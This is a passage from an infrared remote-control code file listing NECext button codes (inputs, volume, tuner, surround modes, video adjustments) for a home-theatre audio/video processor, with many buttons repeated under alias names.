NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: BK001_MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: V_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: BK001_V1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: INPUT_V1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: SOURCE_IN_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: BK001_TV -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: SOURCE_IN_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: SOURCE_IN_8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 07 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: V_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: BK001_V2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: INPUT_V2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: SOURCE_IN_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: BK001_TAPE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: INPUT_TAPE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: SOURCE_IN_7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: VIDEO_HUE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0C 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: BK001_DVD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: SOURCE_IN_4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0E 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0E 00 00 00 -# -name: SOURCE_TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0E 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: BK001_CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: SOURCE_IN_5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: VIDEO_RECORD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 10 00 00 00 -# -name: VIDEO_ZOOM_ASPECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 11 00 00 00 -# -name: TUNER_FREQ_DIRECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 12 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 13 00 00 00 -# -name: TUNER_BAND_TOGGLE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 13 00 00 00 -# -name: VIDEO_FORMAT_EDID -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 14 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CENTER_-- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CNTR_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: BK001_CENTER- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CENTER_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: AUDIO_CENTER- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: CNTR_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: BK001_CENTER+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: CENTER_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: AUDIO_CENTER+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 17 00 00 00 -# -name: TUNER_STATION- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 17 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 18 00 00 00 -# -name: TUNER_STATION+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 18 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: BK001_REAR- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: REAR_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: AUDIO_REAR- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: BK001_REAR+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: REAR_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: AUDIO_REAR+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1B 00 00 00 -# -name: TUNER_TUNE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1C 00 00 00 -# -name: TUNER_TUNE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1C 00 00 00 -# -name: SUB_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: BK001_SUB- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: SUB_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: AUDIO_SUB- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: BK001_SUB+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: SUB_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: AUDIO_SUB+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: BK001_LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: BALANCE_L -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: BK001_RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: BALANCE_R -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: DELAY_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 21 00 00 00 -# -name: DELAY_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 21 00 00 00 -# -name: DELAY_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 22 00 00 00 -# -name: DELAY_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 22 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: 00_VOLUME_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: BK001_VOLUME- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: MASTER_VOLUME- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: 00_VOLUME_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: BK001_VOLUME+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: MASTER_VOLUME+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 25 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 26 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: BK001_NUMBER_+10 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: NUMBER_+10 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: BK001_EQ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: AUDIO_EQ(STEP) -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: DVD-A -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: BK001_DVD-AUDIO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: AUDIO_DVD_AUDIO_PCM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: BK001_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: BK001_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: BK001_MENU -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: BK001_ENTER/SELECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: BK001_NUMBER_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: NUMBER_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: BK001_NUMBER_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: NUMBER_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: BK001_NUMBER_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: NUMBER_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: VIDEO_CONTRAST- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 34 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: BK001_NUMBER_4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: NUMBER_4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: BK001_NUMBER_5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: NUMBER_5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: BK001_NUMBER_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: NUMBER_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: BK001_NUMBER_7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: NUMBER_7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: BK001_NUMBER_8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: NUMBER_8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: BK001_NUMBER_9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: NUMBER_9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: BK001_NUMBER_0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: NUMBER_0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3F 00 00 00 -# -name: BK001_Z -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: BK001_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: AUDIO_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: TUNER_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: VIDEO_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: VIDEO_BLOCK_NR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 41 00 00 00 -# -name: VIDEO_STRETCH+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 45 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: BK001_SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: INPUT_SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: SOURCE_IN_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4B 00 00 00 -# -name: BK001_PRESET+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4B 00 00 00 -# -name: VIDEO_SHARP- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4C 00 00 00 -# -name: PAN_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4E 00 00 00 -# -name: BK001_PANORAMA+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4E 00 00 00 -# -name: VIDEO_STRETCH_2.35 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 51 00 00 00 -# -name: BK001_INFO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 53 00 00 00 -# -name: INFORMATION -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 53 00 00 00 -# -name: VIDEO_BRIGHT- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 54 00 00 00 -# -name: VIDEO_CONTROL_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 56 00 00 00 -# -name: SOURCE_IN_11 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 57 00 00 00 -# -name: VIDEO_ZOOM+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 59 00 00 00 -# -name: VIDEO_DETAIL- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 5E 00 00 00 -# -name: VIDEO_LUMA_TRANSIENT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 61 00 00 00 -# -name: BASS_-- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: BK001_BASS- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: AUDIO_BASS- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: DPL -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6A 00 00 00 -# -name: BK001_GAME -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6A 00 00 00 -# -name: AUDIO_DOLBY_GAME -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6A 00 00 00 -# -name: SOURCE_IN_9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6E 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: MOVIE_PG_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: BK001_MOVIE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: AUDIO_MOVIE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: TUNER_PREVIOUS -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 73 00 00 00 -# -name: VIDEO_COLOR- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 74 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: BK001_AM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: TUNER_AM_BAND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: SOURCE_IN_14 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 77 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: TREB_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: BK001_TREBLE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: AUDIO_TREBLE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: VIDEO_SOURCE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7A 00 00 00 -# -name: BK001_EXIT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7D 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7D 00 00 00 -# -name: VIDEO_MOSQUITO_NR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7E 00 00 00 -# -name: DIM_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 81 00 00 00 -# -name: BK001_DIMENSION+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 81 00 00 00 -# -name: VIDEO_STRETCH- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 85 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: BK001_CINEMA -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: AUDIO_CINEMA -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: VIDEO_SHARP+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8C 00 00 00 -# -name: VIDEO_PREFERENCE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: BK001_FM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: TUNER_FM_BAND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: VIDEO_PILLAR_BOX_ASP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 91 00 00 00 -# -name: VIDEO_BRIGHT+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 94 00 00 00 -# -name: SOURCE_IN_10 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 97 00 00 00 -# -name: VIDEO_ZOOM- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 99 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9A 00 00 00 -# -name: BK001_MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9A 00 00 00 -# -name: AUDIO_MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9A 00 00 00 -# -name: VIDEO_WIDE_ASPECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9C 00 00 00 -# -name: IMG_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9E 00 00 00 -# -name: BK001_IMAGE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9E 00 00 00 -# -name: VIDEO_CHROMA_ENHANCE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: A1 00 00 00 -# -name: TUNER_SEEK+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: A5 00 00 00 -# -name: NEO:6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: NEO_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: BK001_NEO:6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: AUDIO_DTS_NEO:6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: VIDEO_LIP_SYNC+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B1 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: MUSIC_PG_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: BK001_MUSIC -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: AUDIO_MUSIC -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: BK001_SLEEP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B3 00 00 00 -# -name: VIDEO_SLEEP_TIMER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B3 00 00 00 -# -name: VIDEO_COLOR+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B4 00 00 00 -# -name: SOURCE_IN_13 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B7 00 00 00 -# -name: AUDIO_SOURCE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: BA 00 00 00 -# -name: VIDEO_TEMPORAL_NR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: BE 00 00 00 -# -name: TUNER_GUIDE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: C3 00 00 00 -# -name: TUNER_SEEK- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: C5 00 00 00 -# -name: BK001_PRESET- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: C6 00 00 00 -# -name: SURR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CA 00 00 00 -# -name: BK001_SURROUND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CA 00 00 00 -# -name: PAN_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CE 00 00 00 -# -name: BK001_PANORAMA- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CE 00 00 00 -# -name: VIDEO_LIP_SYNC- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D1 00 00 00 -# -name: AUDIO_LAST_INPUT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D3 00 00 00 -# -name: VIDEO_CONTRAST+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D4 00 00 00 -# -name: VIDEO_CONTROL_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D6 00 00 00 -# -name: SOURCE_IN_12 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D7 00 00 00 -# -name: AUDIO_SOURCE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: DA 00 00 00 -# -name: VIDEO_DETAIL+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: DE 00 00 00 -# -name: VIDEO_ASPECT(STEP) -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E1 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: BK001_STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: AUDIO_STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: BK001_BASS+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: AUDIO_BASS+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: DPLII -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: DPL_II -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: BK001_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: AUDIO_DOLBY_PLIIX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: TUNER_STEREO_MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EB 00 00 00 -# -name: VIDEO_NO_ASPECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EC 00 00 00 -# -name: IMG_-- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EE 00 00 00 -# -name: IMG_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EE 00 00 00 -# -name: BK001_IMAGE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EE 00 00 00 -# -name: VIDEO_HUE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F4 00 00 00 -# -name: AUDIO_PREFERENCE -type: parsed -protocol: NECext -address: 1B 4E 00 00 